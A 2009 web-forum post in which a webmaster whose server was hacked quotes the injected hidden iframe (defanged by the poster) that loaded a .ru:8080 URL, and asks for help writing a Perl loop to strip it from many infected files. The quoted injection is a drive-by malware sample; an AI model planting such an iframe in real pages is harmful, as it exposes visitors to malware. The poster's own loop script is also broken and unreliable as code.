Go Back  HTML Forums - Free Webmaster Forums and Help Forums > WEBSITE DEVELOPMENT > Server Side Programming
User Name:
Password:
 

Reply
Thread Tools   Display Modes
  View First Unread
 
Old 10-29-2009, 06:08 PM
  #1
SupermanInNY
Novice (Level 1)
 
Join Date: Oct 2009
Posts: 1
iTrader: (0)
SupermanInNY is an unknown quantity at this point
Perl - short search/replace script in a while loop

Hi All,

Here is the logic that I need:

I'm not a perl or bash script expert, so my syntax is not correct.

We have a server that has been hacked and was injected with lines like:


PHP Code:

<iframe frameborderMODIFIED="0" onlMODIFIEDoad="if (!thisMODIFIED.src){ this.src='http://theeasyMODIFIEDriver.ru:8080/index.php'; this.height='0'; this.width='0';}"
>mpjekrjkyxsjdivcdgobvmcrmdsqfoy</iframe

(I injected the word MODIFIED so that no harm will be caused to anyone surfing here).

Running:
Code:
 grep -lr ":8080" * > listofbadfiles.txt
Captures the list of all the infected files.

To MANUALLY clean each file I use the following sanitize.pl file:

for example:
Code:
./sanitize.pl index.php

server #less sanitize.pl

#!/usr/bin/perl -i

undef $/;
$_ = <>;
s/<iframe frameborder.*?iframe>//msg ;
print "$_";

Now, this is doing the work for a Single file.
However, I have hundreds of files that need to be sanitized, so I want to run the sanitize.pl on every file that is in the listofbadfiles.txt

I tried to run the following logic, but I'm not a good bash/perl developer, so this is where I need your assistance in creating the right loop that will run correctly:


Code:
#!/usr/bin/perl -i

grep -lr ":8080" * > listofbadfiles.txt

open (FILE, "<listofbadfiles.txt>") or die "Can't open file!";
while (<FILE>)
{

undef $/;
$_ = <>;

s/<iframe frameborder.*?iframe>//msg ;
print "$_";

}

I want to be able to run:


Quote:
./loop-sanitize.pl
and have the script grep recursivly all the files in the directory and below, and then process them accordingly.

Thanks for any help.

-Sup.

Last edited by SupermanInNY : 10-29-2009 at 06:11 PM.
SupermanInNY is offline   Add to del.icio.us Add to del.icio.us    Can you digg it?Can you digg it? Reply With Quote

Reply
KEEP TABS
SPONSORS
 
Boxedart
 
 


 
Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
  
 
 
 



 
  POSTING RULES
 
 
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Thread Tools
Display Modes

Forum Jump

 

All times are GMT -5. The time now is 08:41 PM.

   

Mascot team created by Drawshop.com

Powered by vBulletin® Version 3.6.7
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.

Server Monitoring by ENIACmonitor 0.01
HTMLforums.com © Big Resources, Inc. Web Design by BoxedArt.com
vRewrite 1.5 beta SEOed URLs completed by Tech Help Forum and Chalo Na.